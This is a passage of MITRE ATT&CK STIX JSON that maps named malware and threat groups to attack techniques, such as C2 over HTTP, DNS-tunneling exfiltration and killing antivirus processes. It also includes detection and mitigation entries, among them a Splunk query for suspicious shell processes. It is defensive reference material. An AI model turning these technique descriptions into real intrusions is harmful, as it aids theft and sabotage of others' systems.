2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.797Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can check its current working directory and for the presence of a specific file and terminate if specific values are not found.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ed083f5-5fb2-4dbe-bb59-0a77b63e4a18","type":"relationship","created":"2021-07-30T15:49:45.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"Bishop Fox Sliver Framework August 2019","url":"https://labs.bishopfox.com/tech-blog/sliver","description":"Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021."},{"source_name":"GitHub Sliver C2","url":"https://github.com/BishopFox/sliver/","description":"BishopFox. (n.d.). Sliver. Retrieved September 15, 2021."}],"modified":"2021-09-16T15:47:40.144Z","description":" [Sliver](https://attack.mitre.org/software/S0633) has the ability to support C2 communications over HTTP/S.(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Bishop Fox Sliver Framework August 2019)(Citation: GitHub Sliver C2)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8eda78b8-3fd5-4c97-878d-bf2eaa0aa9b5","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T18:37:19.054Z","description":"Monitor for processes spawned after opening a suspicious file. Common applications that might be exploited are Microsoft Word, PDF readers, or compression utilities.\n\nAnalytic 1 - Processes created from malicious files.\n\n (sourcetype=WinEventLog:Security EventCode=4688) OR (sourcetype=Sysmon EventCode=1)\n| search process_name IN (\"WINWORD.EXE\", \"EXCEL.EXE\", \"PDFReader.exe\", \"7z.exe\", \"powershell.exe\", \"cmd.exe\")\n| stats count by process_name parent_process_name command_line user\n| where parent_process_name IN (\"explorer.exe\", \"outlook.exe\", \"thunderbird.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8edb0383-cae8-43ee-9241-b25e5068cc95","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"}],"modified":"2019-09-04T22:55:41.139Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used netstat -an on a victim to get a listing of network connections.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8edfde6c-1ede-41eb-bc84-0d98fe24bebd","created":"2022-01-26T21:51:21.515Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has deleted Registry keys to clean up its prior activity.(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-18T17:16:33.797Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ee050ff-df02-42a0-b3bb-fb967565a4ec","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for creation of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ee24ce1-0703-43dc-8b27-807747ca0209","type":"relationship","created":"2020-05-06T15:26:38.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PLEAD Malware July 2018","url":"https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/","description":"Cherepanov, A.. (2018, July 9). Certificates stolen from Taiwanese tech‑companies misused in Plead malware campaign. Retrieved May 6, 2020."},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2022-03-25T15:47:14.019Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) samples were found to be highly obfuscated with junk code.(Citation: ESET PLEAD Malware July 2018)(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ee5727a-87fe-44f9-82aa-2b2d7ee70d75","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor executed commands and arguments that may gather the victim's physical location(s) that can be used during targeting. Detecting the use of environmental keying may be difficult depending on the implementation.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ee8bf1b-acbc-4138-a7dc-667b251fd826","type":"relationship","created":"2019-01-31T00:23:06.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","source_name":"Unit 42 Nokki Oct 2018"}],"modified":"2020-03-17T01:19:37.052Z","description":"[Final1stspy](https://attack.mitre.org/software/S0355) uses HTTP for C2.(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8eed7d01-46dc-4b25-a42d-bd9afcb84963","type":"relationship","created":"2019-04-19T15:30:36.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.353Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has used svchost.exe to execute a malicious DLL .(Citation: US-CERT HOPLIGHT Apr 2019)","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ef166b5-03a0-4bfa-9612-95f680f3f1a7","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to activation of instances that are occurring outside of normal activity/planned operations. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.359Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has a command to download a file.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ef60c8b-f178-4b78-b5c4-76747e075d84","type":"relationship","created":"2021-03-05T18:54:56.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."},{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.733Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used JavaScript to execute additional files.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8efafb84-44c7-405d-96b6-55d12f397d01","type":"relationship","created":"2021-01-20T18:10:33.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 2","url":"https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html","description":"Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021."}],"modified":"2021-05-04T16:56:40.268Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) terminates various processes to get the user to reboot the victim machine.(Citation: Trend Micro KillDisk 2)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8efc016b-af48-4cfd-a117-142a88b7c9d9","type":"relationship","created":"2021-01-29T17:42:10.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-01-29T17:42:10.194Z","description":"(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f0596f7-159c-43c0-a848-cffb02fc3c9e","created":"2024-09-03T16:38:03.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T18:40:54.109Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used valid accounts for initial access and lateral movement.(Citation: Mandiant_UNC2165) [Indrik Spider](https://attack.mitre.org/groups/G0119) has also maintained access to the victim environment through the VPN infrastructure.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f060861-0206-4dcc-9f46-c55bde63ae40","created":"2023-10-05T20:12:16.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T20:35:15.009Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can download and execute additional payloads and modules over separate communication channels.(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f064578-a664-4d9e-a907-ec85ef5839b0","type":"relationship","created":"2020-09-08T15:30:29.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne FrameworkPOS September 2019","url":"https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/","description":"Kremez, V. (2019, September 19). FIN6 “FrameworkPOS”: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."}],"modified":"2020-10-19T18:43:06.333Z","description":"[FrameworkPOS](https://attack.mitre.org/software/S0503) can use DNS tunneling for exfiltration of credit card data.(Citation: SentinelOne FrameworkPOS September 2019)","relationship_type":"uses","source_ref":"malware--1cdbbcab-903a-414d-8eb0-439a97343737","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f09085f-c1cf-4321-89c4-17d93e774f6f","type":"relationship","created":"2019-07-19T14:30:22.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/dn221960.aspx","description":"Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.","source_name":"TechNet Scheduling Priority"}],"modified":"2021-04-20T16:31:11.616Z","description":"Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f0afd2b-8cb3-4b5b-b19f-39887602fe95","type":"relationship","created":"2020-05-18T20:04:59.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T20:04:59.458Z","description":"[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to upload and download files.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--73c4711b-407a-449d-b269-e3b1531fe7a9","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f0ca79a-3768-46a2-b2c1-8aa638c6a8d2","created":"2023-09-12T19:12:06.317Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T19:12:06.317Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used WMI to query targeted systems for security products.(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f0e36c0-2f8b-4420-8797-c2bd2ec3dd21","created":"2022-07-11T20:36:45.618Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Manage Mail Flow Rules 2023","description":"Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.","url":"https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T13:42:02.053Z","description":"Monitor executed commands and arguments that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined emails. In Exchange environments, monitor for PowerShell cmdlets that may create or alter transport rules, such as `New-TransportRule` and `Set-TransportRule`.(Citation: Microsoft Manage Mail Flow Rules 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f0e7661-fa5d-47c4-84b0-44cd31b49764","created":"2020-05-05T18:47:47.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Imminent Unit42 Dec2019","description":"Unit 42. (2019, December 2). Imminent Monitor – a RAT Down Under. Retrieved May 5, 2020.","url":"https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:05:33.705Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has the capability to run a cryptocurrency miner on the victim machine.(Citation: Imminent Unit42 Dec2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f104e2e-4816-4551-b4a6-9f0ed1e01218","type":"relationship","created":"2019-01-29T19:36:02.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"}],"modified":"2020-03-16T17:53:58.004Z","description":"[Carbon](https://attack.mitre.org/software/S0335) uses HTTP to send data to the C2 server.(Citation: ESET Carbon Mar 2017)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f16cec3-2fba-4b69-a5c5-c3eb1f185e90","type":"relationship","created":"2019-07-29T14:58:44.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.","url":"https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/","source_name":"CarbonBlack RobbinHood May 2019"}],"modified":"2019-07-29T15:46:15.078Z","description":"[RobbinHood](https://attack.mitre.org/software/S0400) will search for Windows services that are associated with antivirus software on the system and kill the process.(Citation: CarbonBlack RobbinHood May 2019) ","relationship_type":"uses","source_ref":"malware--0a607c53-df52-45da-a75d-0e53df4dad5f","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f18a511-65e3-4019-b617-ef0134597722","created":"2024-04-17T18:25:39.899Z","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T18:25:39.899Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) collects the installed antivirus on the victim machine.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8f1bdb28-7941-4b76-bcf3-2fe73321f0c5","created":"2023-03-17T14:54:26.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 